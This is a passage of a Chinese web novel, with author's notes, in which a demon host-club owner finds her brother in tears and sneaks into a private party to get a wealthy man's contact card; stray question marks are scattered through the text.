看着节节高?升的数字,我不禁飘飘然,赚钱也不是个难事?嘛, 有朝一日我一定能成为首富。 事?业顺风顺水,美食常伴嘴边,人生还能更惬意吗?我美滋滋地瘫在办公椅上, 已经开始幻想未来?豪宅里?要装几个游泳池。 等到了晚上,我按照惯例胸有成竹地巡视[极乐世界],看见我的男公关?都毕恭毕敬,眼中充满了崇拜, 打招呼时恨不得把腰弯成九十度。 很好,今天的[极乐世界]依旧井井有条。 我在角落坐下,一边感慨人生,一边给自己倒上一杯养乐多, 美滋滋地品尝。 大厅里?交织的欲望像最好的调味料, 让这杯酸奶格外香甜, 唯一美中不足的是档次不够高?, 我咂咂嘴,突然怀念起前几天在高?级俱乐部尝到的甜品。 想到这个我又默默地生气,诅咒柯觅山。 他最近发的动态, 不是在宴会就是在公司,尽显富人丑态!呵,等哪天我也要天天炫富! 几个男公关?在卡座间穿梭,其中一个注意到我,马不停蹄来?到我旁边,仔细一看下颌线十分明显——是荣小晓。 他凑到我身边,眉飞色舞地汇报:”今晚接了几个大单,二?楼的奢侈品也卖得特别好!” 我矜持地颔首,表示自己知?道?了。 他赖着不走想拍马屁,我的视线扫到哪,他的彩虹屁就吹到哪,当我的目光落在麦景身上时,荣小晓立刻心领神会。 不远处的麦景依旧表情寡淡,一桌热热闹闹的气氛,只有他格格不入,像个局外人般坐着。 荣小晓凑近,压低声音,机灵地抖出所有情报。 “那?个新来?的,您应该认识吧。” “他之前总迟到,不知?道?为什么今天准时了,虽然长得好看吧,但是性?格很木讷,不是很讨客人喜欢,哎,要是我长那?样的话,肯定比他卖力十倍。” “而且。”荣小晓压低声音,格外八卦地说,“他似乎和那?边有点关?系。” 他应该在说被烧毁的男公关?店,像这种中途跳槽的员工,很容易遭受非议。 我老神在在点头,深沉地说:“过去的事?就过去了,大家都在努力活着,你也不要太骄傲。” 荣小晓愣了下,立马扬起谄媚的笑,“您说得对,而且我们也不敢当面讨论他。” 他说完,眼睛咕噜噜转了一圈,脚底抹油跑了。 没一会,哥哥下楼,朝着我笔直地走来?,他后方的楼梯间闪过浦真天的身影,但行色匆匆走上楼,没有靠过来?。 哥哥没有说话,而是安静地替我整理头发。 我好奇地问:“结束了吗?” 他的手?停顿一下,说:“没有,我只是出来?拿酒,一会就回去。” 他梳理我的头发,手?指穿过发丝,一点点地整理,眉骨投下阴影,呼吸浅淡。 我盯着他看了一会,问:“怎么了?” 他摇了摇头,浓郁的柠檬气息几乎将我淹没,鼻尖全?是酸涩的、甜蜜的气息,他的手?指有点颤抖,凝视着我,像是无法忍受般,忽然垂下眼睛。 “刚才我和浦真天说了几句话。” 他说:“……我不知?道?该怎么办。” 他低下头,依靠在我的肩膀上,头发抵在我的脖颈处,精疲力竭地说:“一切都变了。” 我想了想,鼓励道?:“对啊,变了,变好了。” “以前都在往好的方向?变啊,现?在赚钱,以后住进大房子?里?。” 我拿出收藏的视频,兴奋地分享给他看,最近收藏了许多装修视频,看着看着,我的梦想又多了一个,我要一个大庄园一样的豪宅,还要一个在高?楼大厦之上,全?景玻璃的豪宅。 居高临下俯瞰整座城市肯定超级爽。 再看其他的,似乎都很不错,以前怎么不觉得这么好看呢? “……” 哥哥脸色苍白,忽然握着我的肩膀,黑沉的眸子?看着我,眉头拧紧,像是生气般,力道?不断加重。 “哥?” 他倏地松劲,声音虚弱:”没事只是有点醉了。” “我只是有点醉了。” 这借口苍白得连他自己都不信,说完便匆匆离开,脚步凌乱。 许多黑色的情绪附着在他身上,和泉卓逸身上看到的一样,只不过并不杂乱,而是像是云朵一样厚实,笼罩在他身上,即将把他压垮。 我还是第一次见这么黑的情绪。 他要爆炸了。 我猜想,情况像是泉卓逸那?样一触即发。 我应该做点什么吧,于是,我拿出手?机给他发送视频,各种收藏的好玩的、搞笑的、炫富的视频。 他没有回复。 我思索着原因,是不是浦真天告诉了他什么,所以他感觉压力山大? 于是我给浦真天也发了消息。 他倒是回复了,不过只有简洁的一句话:只是一点小事?,明子?会想通的。 昨天的那?场对话后,他的情绪稳定,似乎办公室里?的对话只是个错觉。 我想了想能让哥哥难过的因素,找来?找去,只想到了高?利贷和我。 果然是高?利贷吧。 我又找邛浚问他知?不知?道?附近专门搞高?利贷的黑。帮。 [邛浚(小心诈骗)]:当然知?道? [邛浚(小心诈骗)]:他们可是一群。奸诈无耻的人哦 [邛浚(小心诈骗)]:你要借高?利贷?(小熊探头.jpg) [世界第一恶魔大人]:不是 [世界第一恶魔大人]:我爸妈借了 [邛浚(小心诈骗)]:哎呀 [邛浚(小心诈骗)]:需要帮忙吗(小熊跳舞.gif) [世界第一恶魔大人]:但是我哥在还,你知?道?多久能还清吗?他最近好像压力很大 [邛浚(小心诈骗)]:当男公关?的话,应该十年就可以了吧 [邛浚(小心诈骗)]:傍个富婆不是轻松还完吗?只要你哥长得够好,找个有点势力的,很容易办到吧 [邛浚(小心诈骗)]:我可以推荐哦 不知?道?为什么,隔着屏幕都能感受到他的兴奋,回复的速度比之前都快,没几秒便发来?一大段话。 我才不信他嘞,虽然他看着很纯良,心肠可是大大滴坏! 结束对话后,我思来?想去,决定上楼看一眼,但房门紧闭,不知?道?什么时候下班,我等了一会,想着情况可能没有那?么着急,所以继续刷了会视频。 中途,宗朔的消息弹了出来?,问我今天晚上来?不。 我果断拒绝。 他也没什么表示,让我揣好钥匙。 等到下班时间,男公关?们走的走,散的散,三三两两打扫卫生,浦真天先下来?了,和我一起坐在下面等。 比起昨天,他要放松一些,脸色带着酒意潮,睡眼惺忪,麦景走过的时候,他还抬手?打了个招呼,一副大哥哥的模样。 直到最后一个男公关?走了,哥哥也没有下楼,浦真天依靠在沙发上睡着了,四?周一片寂静。 我上到二?楼,推开紧闭的包厢门。 这间包厢到处都是镜子?,晃眼一看有无数个自己,闪动的灯光缓慢地转动,光斑从坐在暗处的人身上划过。 他似乎睡着了,又似乎只是安静地坐着。 我靠近他,坐在他旁边,视线中是浓郁的黑,几乎分辨不出人的形状,麻线似的情绪笼罩在他身上,像一个蝉茧。 我推了他一下,他立即握住我的手?,没有说话。 我又叫了他几声,他仍然坐着,没有任何反应,于是我把手?放在他的胸口,趴近了听?他的心跳声。 咚咚咚。 有点快。 耳边有呼吸声,我摸他的脸,从浓郁的黑里?感受到了热度,鼻梁、嘴唇、脸颊,全?是属于另一个人的温度。 “栾明。”我叫他的名字。 手?下的人有了反应,握住手?腕的力道?加重,光斑滑过,我看到了一双流泪的眼睛。 他在哭。 我的手?指触碰到一片湿。 他哭得很安静,只是喉结起伏,像是在遭受什么痛苦般,浑身肌肉紧绷,几乎绷着一条线。 我很久没见过他掉眼泪的模样,于是盯着看,借着闪过的光,仔细地看。 “……” 我的手?指触碰到眼泪,湿漉漉的,好奇地放进嘴里?尝了尝,还以为他的眼泪也会是酸的,毕竟这么久没哭过,有可能变换味道?呢。 他握住我的手?腕,喉咙上下滚动,但发不出一点声音,我把脸贴在他的喉咙上,试图通过骨传导听?清他的话。 但只有咕哝的、夹杂着痛苦吞咽的声响。 他抱住我,像即将坠落的人,双手?紧紧地抱着我,眼泪流进我的脖颈里?。 我还没有反应过来?时,湿漉漉的吻落在脸颊上,一触即离,留下浅淡的、不知?道?是泪水还是什么的触感。 我摸了下脸颊,也亲了他一下。 紧接着急切的、失控的吻如雨点般落下,真是的就像是雨,杂乱无章,胡乱地往我脸上招呼。 然后,吻落在了唇角。 他停住了,呼吸剧烈起伏,黑暗中捂住自己的脸,浑身颤抖,紧接着立马俯下身去发出难以制止的喘息声。 我趴下去看他,发现?哥哥跪在地上,断断续续地说着话,但我一个字没听?清,因为他的声音沙哑无比,并且紧接着吐了。 听?到痛苦地呕吐反胃的声音时,我整个人愣在原地,立马弹开。 他的脊背在晃动的光里?起伏,瘦了很多,背部骨节凸起,趴伏在地上,像是恨不得把胃部所有东西都吐出来?,把器官也吐出来?的架势。 即使看不清,我也能感受到痛苦在他体内沸腾。 过了一会,他勉强直起身,寻找我的位置,将头放在我的腿边,身体痉挛着。 我把手?放在他身上,学着以前的动作拍他的背,发出看完整部动漫似的、满足的喟叹。 多么丰富多彩的痛苦。 虽然看不清,仍然令我感到新奇。 这份痛苦和爱黏在一起,变成口味奇怪的食物。 他的痛苦几乎凝成实体,钻进我的嘴边,顺着喉咙流进体内,在腹部沉甸甸地下坠。 不知?道?过了多久,他的呼吸平静下来?。 我拿起手?机给浦真天发消息。 没过一会,浦真天推门而进,切换墙上的灯光,在看清之后又立马切了回去。 他冷静地说:“……小冬,你先出去,我来?收拾。” 肯定要花很久时间,我起身来?到门口,看着浦真天先把哥哥扶到休息区,丝毫不手?忙脚乱地开始清理。 我好奇地看着他忙来?忙去,有条不紊地掌控整个场面,把包厢打扫得干干净净,开始最后的物品摆放。 等他收拾完,我才开口问:“你和哥哥说了什么?” 他摇摇头,还是不告诉我:“不是什么大事?……只是大人的谈话而已,明子?也不会想让你知?道?。” 浦真天现?在这幅模样确实很像“大人”,动作赶紧利落,表情沉稳有力。 我的目光过于明显,他蓦地露出笑,驱散了沉稳的气质,低下头摸着后颈。 “我家里?也有个妹妹,以前在家里?都是我照顾她,虽然不会做饭,但是其他方面我还是熟悉的……而且在[极乐世界]遇到过好几次这种事?,刚开始手?忙脚乱,后面慢慢就熟悉了。” “说起来?,距离我第一来?这已经过去好久,差不多有三年吧,真快啊。” 他闷声说:“……我也好久没回家了。” 身为老板我大方地说:“我让宗朔给你放假。” 浦真天摇摇头,脸颊处的酒窝一闪而过,“还是算了,我不回去可能对家里?更好。” 他的表情格外落寞。 我想了想,说:“这里?也是家啊。” 我知?道?他期待着我说出这句话,他的期待太明显,在脸上显示得清清楚楚。 在满足别人这件事?上,我可能是个的天才。 我:“我们来?当你的家人吧。” “我、哥哥还有你也是一家人。” 棉花糖的气息猛地迸发,比以往任何时候都要甜蜜。 浦真天看着我,眼眸中闪过光,所有局促不安消失殆尽,化?作温柔的一声:“好。”—— 作者有话说:浦是更像哥哥的人,哥是更不像的哥哥的人(哲学)一个可以坦然面对,一个永远站不起来,就这样组成一个扭曲的家(对) 拙拙再过几章吧,现在不是很想看到他[眼镜] 以下是两人谈话大致内容(有剧透可能?)—— 浦跟哥说了他喜欢小冬,但如果哥介意,他可以改变,问哥到底是什么想法,为什么看着小冬和其他人在一起,为什么不管住她?问他是不是那个(乱那个),哥哥一听立马炸了,想要怒斥浦,但是找不到理由,于是认清现实(买醉),借酒发题,但还是迈不过心里的坎,觉得自己很卑鄙,很恶心,立刻吐了 但如果是小冬要求,他啥反应也不会有,直接就上了(对) 第52章 第二?天?, 我被叮咚作响的?声音吵醒。 揉着惺忪的?眼睛来到客厅,浦真天?正背对着,他穿着围裙手忙脚乱努力地?做饭,铲子在手里活像条鱼。 哥哥躺在沙发上, 还在睡觉。 “早上好。” 我冷不丁开口, 果然把浦真天?吓了一跳, 手里的?铲子差点射出去。 “早上好。”他惊魂未定地?转过身,看见是我,笑了下,“等会要吃早饭吗。” “你?今天?醒得好早。” 他低头鼓捣锅里的?东西, “一直被明子照顾,我也要学着做饭啊,而且今天?我有一点事, 要出去一趟。” 我凑近,点评锅里的?食物:“看上去还不错。” 忽然想起第一天?醒来的?时候,也是他做饭,我还使用了卖惨的?招数得到了几百块钱。 现在想想, 已经像上辈子的?事了。 我在旁边看着浦真天?做饭,他越来越手足无措,培根水灵灵地?焦了。 等装进盘子里,挨个分好后, 他长长地?叹了口气, 摸着后脖颈, 整个人像被抽干力气:”和明子比差远了。” 哥哥可是做了十多?年的?饭, 是超级大厨。 我:“你?以前没做过饭吗。” “以前……家里是长辈做饭。” 他埋头咬住培根,表情带着淡淡的?怀念:“我那个时候调皮不懂事,等长大了, 进学校吃食堂,一直到上大学,也没有机会自己做饭。” 我震惊,他居然上过大学! 我的?目光过于直白?,他看出来了,不由笑了起来,“很普通的?大学,当年运气好,不过现在出来找不到工作的?。” 等他把培根吃完,哥哥醒了,眼睛肿得像个核桃,我好奇地?戳了戳,没有变成水爆开。 浦真天?在旁边憋笑,哥哥这幅模样很少见,他去冰箱里拿出冰块,让哥哥敷在眼睛上消肿。 哥哥有些难堪,躲避着我的?视线,老?实地?坐在沙发上,用冰块挡住眼睛。 浦真天?吃完饭,换了一身衣服,不是西装衬衫,穿着卫衣和外套,羽绒服遮盖住,乌黑的?头发遮挡住眼睛,看上去像个老?实的?大学生,我在旁边看他,他有点不好意思,露出洁白?的?牙齿。 他站在门口,正准备离开,有些犹豫地?转过头,手握在门把手上。 “忘记东西了?” “不是。”他仍然停在原地?。 哥哥回过头,对站在门口的?人说:“出门注意安全。” 我也举起手挥了挥:“一路顺风。” 浦真天?的?目光落在我的?脸上,笑容加大,神清气爽地?打开门:“我会早点回来的?。” 门嘭地?关上,脚步声逐渐远去。 他走?了之后,我和哥哥在沙发上看电视,久违地?单独相?处,只有在放假的?时候才能回到以前的?时光。 窝在沙发里没一会,手机频频震动。 我在哥哥的?注视下拿出手机。 [邛浚(小心诈骗)]:有个好消息告诉你? [邛浚(小心诈骗)]:看看这是谁 [邛浚(小心诈骗)]:(照片) 我放大照片。 背景是在室内,装修别具格调,三三两?两?的?人散落在附近,似乎是在举行宴会,水晶吊灯下、铺着白?布的?餐桌上摆放着精致的?食物。 邛浚的?手机像素一如既往地?模糊,但反而突出了中间的?那人。 外表温润如玉的?人正举着酒杯,和旁边的?人言笑晏晏,一副矜贵自得的?模样。 好消息?明明是完全的?坏! 似乎听到了我的?心声,对面立即发来新的?照片。 这一张的?光线更暗点,柯觅山表情处于绷不住的?边缘,直白?地?流露出厌恶,额前的?发丝散乱,身后不远处还有个似乎笑得很开心的?男人,其他人也隐隐看了过去。 两?张形成鲜明对比。 看到柯觅山过得不好,我就放心了。 正准备发消息,我忽然灵光一闪,翻回第一张照片。 在照片的?斜角里,一道身影吸引了我的?注意。 他的?半张脸正好被拍得清晰,视线朝摄像头看来,五官轮廓优越,浅棕色的?眸子亮得像故障闪光。 我:! 我立马截图,发给邛浚。 [世界第一恶魔大人]:真是天?大的?好消息 [世界第一恶魔大人]:(图片) [世界第一恶魔大人]:三分钟,我要他的?全部联系方式! [邛浚(小心诈骗)]:(小熊歪头.jpg) [邛浚(小心诈骗)]:这不对吧? [世界第一恶魔大人]:上次他给我的?联系方式被柯觅山偷了,哪里不对了? 对面好几分钟没有回复,我急得像是热锅上的?蚂蚁,心里烫得嗷嗷直叫。 我发了好几个表情包过去,邛浚才姗姗来迟。 [邛浚(小心诈骗)]:哎呀 [邛浚(小心诈骗)]:这种?好事你?怎么不早说呢? [邛浚(小心诈骗)]:不过我不好过去,你?亲自来吧 他给我发来一个地?址,距离我有一段距离,在郊区附近的?某个私人会所里。 我弹射起步,飞快跑进卧室换衣服,喜不自胜地?穿上鞋,匆匆和哥哥说有事,然后推门而出。 坐上出租车,邛浚又发来不少消息。 [邛浚(小心诈骗)]:我在偏门等你?,这里有守卫,要查验资格才能进 [世界第一恶魔大人]:那咋办? [邛浚(小心诈骗)]:我自有妙计 等到了地?点,我飞奔下车,急急忙忙找到倚靠在树边的?邛浚。 他爽朗地?挥手,换下骑手打扮,这时身穿着侍从的?制服,黑色马甲白?色衬衫,腰间还围着白?色围裙,马甲衬得他腰身劲瘦。 我慌张地?跑到他面前,急切地?问:“人呢?他没跑路吧?” “在里面呢。”邛浚扬起笑,脸上的?痣十分晃眼,“我有小道消息,他五点才会走?。” 我往旁边的?建筑看去。 大片的?绿茵草地?,隔着一段路才能看到屹立的?建筑,造型独特,像是巨型展馆,顶部有许多?尖塔。 围栏紧密地?将建筑物隔绝,唯一通向它的?道路是正大门,侧门已被废弃许久。 我左看右看也没看到门,疑惑道:“不是说门口要核验吗,我们从哪里进?” 邛浚顺手一指,指向杂草从,像是被人踩过,遮遮掩掩露出后面的?洞口。 我看着邛浚,邛浚看着我。 他笑得阳光灿烂,竖起大拇指:“我试过了,完全没问题。” 他说完,马上开始行动,三两?步走?到洞口,迅速钻了过去,拍拍身上的?草,动作干净利落,十分清爽。 隔着围栏,他眨着眼睛看我,唇角上翘,摊开两?只手,状似无辜地?看着我。 我盯着洞口看了两?秒,心理防线直接飞灰湮灭,以前也和朋友钻过狗洞逃学,这点事完全不在话下。 我四肢齐齐发力,迅猛地?穿过洞,弹射起身,十分得意。 邛浚领着我从后门进入建筑,递给我一身同款的?侍从制服,把我推进更衣室。 空调开得很足,我脱下衣服,听到外面传来几声喷嚏声。 然后就是属于陌生人的?声音。 “你?是哪个班次的?,怎么在这坐着?” 邛浚的?声音响起,鼻音浓重许多?,瓮声瓮气。 “我是来替班的?,王顺虎你?记得吗?他是我哥哥,今天?得重感冒发烧40度,为了不让他拿不到全勤,我作为弟弟义?不容辞……啊切!” 和他说话的?人似乎很嫌弃,啧声道:“你?别出去了,就待在着,别给我们添乱。” “啊切、啊切、啊切——” 回应他的?此起彼伏的?喷嚏声。 脚步声飞快地?远离。 更衣帘被人拉了拉,带着鼻音的?声音响起。 邛浚:“你?顶的?是何云峰的?班。” 我掀开帘子,邛浚正摸着嗓子,似乎很不舒服,看见我,他弯起眼睛,竖起大拇指,瓮声瓮气地?说:“成功融入环境。” 他的?脸色有点苍白?,靠在墙壁上,从裤兜里抽出一张纸,不舒服地?咳嗽两?声:“给,地?图,他现在应该在A1054,要不然就是在大厅里,你?直走?出去就能看到指示牌。” 我欢呼一声,拿着地?图看了起来,彻底记住地?形后,我十分有义?气地?拍他的?肩膀,“放心吧同志,我一定完成任务。” “啊切。”他又打了个喷嚏,抽抽鼻子,卷发乱糟糟的?,“我在这等你?。” 他低着头揉鼻子,衣着单薄,大概是在外面站着的?时候感冒了,一头卷发对着我,上面有个绿色的?物体格外显眼。 我迅速摘下那片叶子,在他反应过来前塞进他的?手心,然后挥挥手,朝着走?廊跑去。 建筑物内部和外部风格统一,到处是色调偏深的?油画,装饰品犄角尖锐,墙壁上的?灯造型独特,散发着蔚蓝的?幽光,像某种?野兽的?眼睛。 我沿着走?廊往里走?,有几个人看到我,表情疑惑,在他们询问前,我理直气壮地?用了邛浚给的?借口,他们表情噎住,但也不好说什么,只让我去拿几个盘子,按照指示送餐点去贵厅。 餐厅造型精致,我原本迈出的?脚收了回来,乐呵呵地?捧上餐盘,偷摸多?装了几个,一边偷吃,一边往贵厅走?。 其他侍从经过的?时候,我立刻端着脸,严肃认真地?走?路。 走?到贵厅,人声犹如潮水般涌出,衣着整洁考究的?人三三两?两?地?站着,笑声昂贵,我仔细听他们的?话,发现一个名?词也不懂。 我在人群中穿梭,寻找着目标。 偶尔经过长桌,抓几个没人搭理的?甜品,偷偷塞进嘴里。 还没找到人,我先?闻到了熟悉的?气味。 甜姜冲鼻而来。 距离不远处站着柯觅山和一个男人,对方面露讨好,和他保持着不近不远的?距离,穿着蓝色的?西装,手里提着包,看上去十分骚。包。 “觅山,你?还在生气吗,你?妈让我——” “滚。” 柯觅山声音低沉,压抑着明显的?怒气,“现在立马从我面前离开。” 男人吓了一跳,仍然小心翼翼地?看着他,手上拿着黑色的?包,挺直腰板说:“你?确定?你?妈可是让我叫你?过去,你?真的?不去吗?” 柯觅山抬起头,对方立马愣住,步伐慌张地?跑开。 我躲在后面看得津津有味,往嘴里塞了个布丁。 果然是有钱人的?东西,尝起就是来不一样。 忽然,我动了动鼻子,闻到一丝酒味,若隐若现,让我不停地?嗅才能确定位置。 东面?不是……应该后面! 我转过头,对上二?楼投下的?视线。 男人撑着栏杆,嘴边噙着一抹笑,朝我扬起杯里的?酒杯,浅棕眸子在灯光下流光溢彩—— 作者有话说:首先,穷菌不是个好人,他在演,而且别有用心,其次,科目三要遭殃了(他妈妈包的男公关很喜欢惹事),最后,我又沉迷看小说了(!) 富哥原本不打算参加,但是小冬一直不发消息,听说科目三会来,他就来了(对) 距离富哥引爆全场还有一段时间(酝酿),要把小冬拐走总要有点手段吧(铺垫)(铺垫)(到底在铺垫什么)(铺垫) 第53章 男人朝我举起杯子, 眼?眸中凝聚着?晃动的?光,他看了眼?不远处的?柯觅山,笑意?加深,修长手指轻点楼梯方向。 我立马反应过来, 环顾四周, 确认没?有人看我, 悄悄顺着?楼梯走了上去。 旋转的?楼梯直通新的?平台,大厅二楼距离布满油绘的?穹顶更近,繁复的?图案栩栩如生,我盯着?看了几眼?, 里面有几个人类世界的?天使,神态好奇地?张望着?下方。 它们除了翅膀,和我记忆里的?天使没?有一星半点相?似度。 不知道为什么人类总是美化?天使, 就因为祂们会帮忙吗?哎,人类还是太势利了。 比起下面的?热闹,上面人烟稀少,声音随之远去, 只能听到模糊的?、像浸没?在水里的?说话声。 平台上摆放着?低矮的?沙发和圆桌,此时桌上放着?几杯酒,酒杯旁边有作为装饰的?烛光。 霍亦瑀靠在栏杆边,等我上来后, 缓步落座丝绒沙发里, 示意?我坐到他对面。 我谨记使命, 快步来到他身边, 急切地?问:“你?的?名片在身上吗,给我一张。” 他挑起眉,露出一丝笑意?, 浅棕色的?眼?睛看着?我:“当然有。” “你?有其他的?事吗?如果没?有,不如先坐下陪休息会。” 对哦,我也没?事做。 我瞬间不急了,想?了想?,坐下了。 他的?视线扫过我,落在我的?腿上,具体来说是围裙上,侍从制服特有的?白色围裙,我撩起它扇扇风,翘起腿,从桌上拿起酒杯,在光下观察液体的?颜色。 “葡萄酒。” 他说:“味道一般。” 我尝了一口,和记忆里一样苦涩,尝不出来有什么区别,颇为有见解地?说:“还是可乐好喝。” 霍亦瑀没?有发表意?见,只是眯了下眼?睛,忽然开口道:“你?是特地?来见我的??” “现?在柯觅山就在楼下,他或许正在苦恼家事。” 我回想?起刚才的?场景,摸了摸下巴,思?索道:“那个男的?很眼?熟诶,总觉得?在哪里见过。” 记忆碎片闪过,我忽然回想?起街头的?奢侈品店,以及那个喜不自胜追着?富婆而去的?男人。 ——是柯觅山母亲包的?男公关啊。 我恍然大悟点了点头,对面的?人也来了兴趣,好奇地?问:“你?知道?” “男公关嘛。”我故作高深地?摇晃红酒杯,“就是那种事啦。” “你?倒是懂。” 他低低笑了两声,目光一直放在我身上不曾移开,瞳色过于浅淡,像刀刃的?反光一样锐利,等我看去时,他移开视线,转动食指上圈着?的?戒指。 我定?睛看去,被蓝色宝石的?反光闪了眼?睛。 有钱人用暗器攻击我! 下一秒,霍亦瑀翻过手,遮挡住戒指,露出手心白色疤痕。 他说:“要去安慰他吗?” “才不要。”我摇头,“我们正在冷战中。” 冷这个词程度太轻,我又改口道:“冰战,不会解冻的?那种。” “哦?” “他把你?给我的?名片偷走了。” 我说完,赶紧补充道:“他有没?有联系你?,你?可千万不要回他。” “我不会回无?关人的?消息。” “那就好了。” 他又笑,歪头看着?我:“你?今天是来当服务员的??” “其实我使用了魔法。”我眼?珠一转,故作高深地?说。 调情嘛,我懂,先制造点神秘感装,等过几天卖个惨赚钱。 “什么魔法?” “让你?大吃一惊的?魔法。” 霍亦瑀若有所思?点头,嘴角上扬,露出笑,浅棕色的?眸子紧锁着?我,眸光逼人,他倾身向前,手肘撑在膝上,“我觉得?还需要一点别的?。” 他说:“我想?知道你?的?名字,告诉我吧。” “我说你?会惊讶吗?” “当然,这可是你?的?魔法。” 我说:“栾水冬。” 他重复了一遍,念我的?名字时声音低沉,流窜着?细小的?电流感,我揉了下耳朵,没?想?明白为什么人类感冒后嗓子会成这样。 “你?真的?没?有吞声卡吗?” 霍亦瑀摇头:“很遗憾,我没?有。” “那就很奇怪了。” “怎么奇怪?” 我作势沉思?,等他挑起一侧眉,自信地?拍着?大腿说:“怪好听的?。” 油是油了点,但有用。 私藏箱底的?技巧终于用上了,霍亦瑀果不其然露出更深的?笑意?,萦绕身边的?酒味加重。 就在我想着还有什么油腻技巧时,手机接连振动,拿起一看,邛浚发来消息,让我快点下来,等会换班的人就要来了。 我立刻起身,啪嗒啪嗒往楼梯下跑去。 回头看去时,霍亦瑀起身来到栏杆边,像是没?反应过来,表情略显疑惑,我朝他挥挥手,快速地?跑走。 等进入走廊,柯觅山正巧从那边过来,差点迎面撞上,我反应极其迅速,举起餐盘挡在脸前,假装自己很忙地看地上。 黑亮的?皮鞋从我旁边经过,丝毫没?有停顿。 等他走过,我立马放下餐盘,欢快地?朝着?员工休息室跑去。 邛浚换了身衣服,冲锋衣遮挡住下巴,露出又黑又亮的?眼?睛,他朝我挥手,将我的?衣服递来。 我赶紧进更衣室换好衣服,心情舒畅地?拍了拍兜,笑得?格外开心。 等到外面,天色微沉。 我动作麻利爬出狗洞,刚起身便听到咕的?一声,发出地?是旁边的?人的?肚子。 邛浚摸着?肚子,唉声叹气说:“我饿了。” 说完,他左手敲右手,弯起眼?睛笑了起来:“时间也不早了,一起去吃饭吧,我请你?。” 我原本不想?去的?,但一听到请,双脚立刻黏在地?上,转身跟上他。 邛浚似乎对附近很熟,领着?我经过弯弯绕绕的?路走进一条热闹的?小巷,道路两边摆满了小吃摊。 我原以为要去高级餐厅,不由?露出嫌弃的?表情。 “哎呀。”卷发男生靠了过来,亲密地?攀住我的?肩膀,“虽然便宜,但是很好吃啊。” “看在我为了等你?感冒的?份上,大人有大量,宽恕一回嘛。” 他的?鼻尖红红的?,在白皙的?脸上格外明显,皱鼻子时脸颊上两颗痣也跟着?动。 看在他主动帮我的?份上,我勉强地?同意?了,目光扫到一家与?众不同、装修格外奇葩的?小吃摊,我随手一指:“就那家吧。” 邛浚了然地?点点头,十分熟稔地?走过去,叫了两个最贵的?套餐。 摊主朝他打招呼,两人俨然认识许久,看到我,摊主好奇地?说:“没?见你?带人来过诶,这位是你?的?女朋友吗,你?小子什么时候有时间谈恋爱了?” “不要污蔑我们的?关系,我们可是最好的?朋友哦,best friend,大姨,你?懂什么是best friend吗?” “什么背时的?不能得?,小伙子不要总是拽洋文,我们要说中国话。” “就是好朋友啦。” “行行行,搞不懂。”摊主咕哝一声,低头开始爆炒,动作虎虎生风,雷厉风行。 邛浚拉开小凳子,笑眯眯地?看着?我坐下,“你?的?品味真好,一眼?就看中这家,我最常吃的?就是这家。” “看来我们真的?很有缘。” 我冷笑道:“我只是看这家最花钱而已。” 结果他还粘着?不放,厚脸皮地?说:“我也是这么想?的?。” 他笑得?格外开心,抽出纸擦桌子,擦了两遍后,慢悠悠地?说:“名片拿到了?” “肯定?啊。”我得?意?地?抽出兜里的?小纸片,当着?他的?面把电话号存进手机里,打算回去再发消息。 邛浚好奇地?张望着?:“给我也看看呗,我还没?见过这种名片,哇塞还镶着?金边,真奢侈。” 他的?视线在我的?手上打转,我心想?也不是什么大事,所以顺手递了过去,“不要太羡慕我。” 邛浚将卡片夹在手指间,啧啧称奇,修长的?手指交替,给卡片轻而易举翻了个面,动作娴熟,像是电影里赌场特有的?装逼手段。 “霍亦瑀。” “他的?名气很大哦,祖上富六代,富得?流油……啊不,是富得?流瀑布吧,半商半政,全国应该也没?几个比他们家更厉害的?了,不过,他和家里关系一般,其他人都移民国外,只剩他一个人在国内发展。” 我:“这是被孤立了?” “不。”邛浚摇了摇手指,唇角上翘,“是他赢了,把其他人赶到国外去了。” 我更加觉得?这次来得?值,不由?开始畅想?:“要是他帮忙卖货,一天得?赚多少啊。” 邛浚乐不可支,笑得?看不到眼?睛:“那你?就要登上富豪榜了。” 他怎么知道这么多,一个送外卖的?,消息倒是灵通。 我刚挑起眉毛,邛浚便读懂了我的?表情,老神在在地?说:“就是送外卖才能消息灵通啊,我可是知道很多秘密的?哦。” 刚说完,摊主端来两盘海鲜炒面,热气腾腾地?冒着?雾气。 邛浚抽出两双筷子,递给我,十分夸张地?说:“我的?口水已经止不住了,努力过后的?食物更加香甜啊。” 摊主像看神经病一样看他,又拿来两瓶饮料,说是赠送的?,特地?拆开递给我。 我尝了两口,好吃,不过不是能让我强行塞进胃里的?程度,摊主时不时瞥我们,我也学?着?评邛浚说了一句好吃,她才心满意?足地?转过头,继续给下一个客人点餐。 邛浚吃得?格外香,像是在品尝珍馐美味一般,时不时发出感叹,很快清空盘子,对着?我比起大拇指。 我盘里的?食物纹丝不变。 “吃饱了?”他说,“还是不饿?” 我:“不饿。” 他立刻弯起眼?睛,眼?睛炯炯有神地?盯着?我,捧着?脸说:“如果不吃完的?话,大姨会生气哦,她生气可是很可怕的?。” 说完,他小心翼翼地?朝摊主看去,只听到一声怒吼,摊主手里的?铲子瞄准面前的?客人,“你?到底吃不吃,再指指点点我给你?头削咯!” 我看了看他,又看了看生气的?摊主。 然后把盘子推到他面前。 邛浚心领神会,十分自然地?拿了筷子,继续享受大餐。 表情十足地?享受,眼?尾弯起,像只偷腥的?狐狸。 我越想?越不爽,猛拍了一下桌子,怒道:“你?是故意?的?吧,你?请我,结果两个都是你?吃的?,你?把钱转给我才行。” “hsjfbfn……”他含糊不清地?说。 我立马作势要抓他的?头发,他往后躲,一边咀嚼一边掏出手机给我转钱。 看着?转账30的?记录,我瞬间好受多了。 吃完饭,邛浚用电瓶车送我回家,身上飘散着?小吃摊的?海鲜气息。 下了车,我才想?起名片还没?拿回来,瞬间勒住他的?脖子,警告道:“你?也想?偷东西了是吧,我绝对不允许!” 邛浚翻手变出名片,痛呼着?递给我:“我可不是柯觅山那个家伙,他爱偷,我可不爱啊!” 我接过名片,才发现?后面还有一片绿叶。 “眼?熟吗?”他笑意?盈盈地?看着?我。 “垃圾就不要给我了啊!” 我一把树叶塞回他的?头上,满意?地?看着?卷毛鸟窝上多出一点绿。 他顶着?乱糟糟的?头发,眼?睛仍然弯起,就站在原地?看着?我离开。 我心情很好地?哼着?歌,推开门,发现?哥哥仍然坐在沙发上看电视,对着?广告也看得?津津有味。 我也加入观影。 哥哥掀起毛毯将我包裹住,问:“外面冷吗?” “还好吧。”我说,“室内和暖和。” “……那就好。” 他摸了摸我的?手指,沉默了会,忽然开口:“昨天晚上给你?添麻烦了。” “以后不会了。” 我摆手:“还好啦,是浦真天收拾的?。” “嗯。” 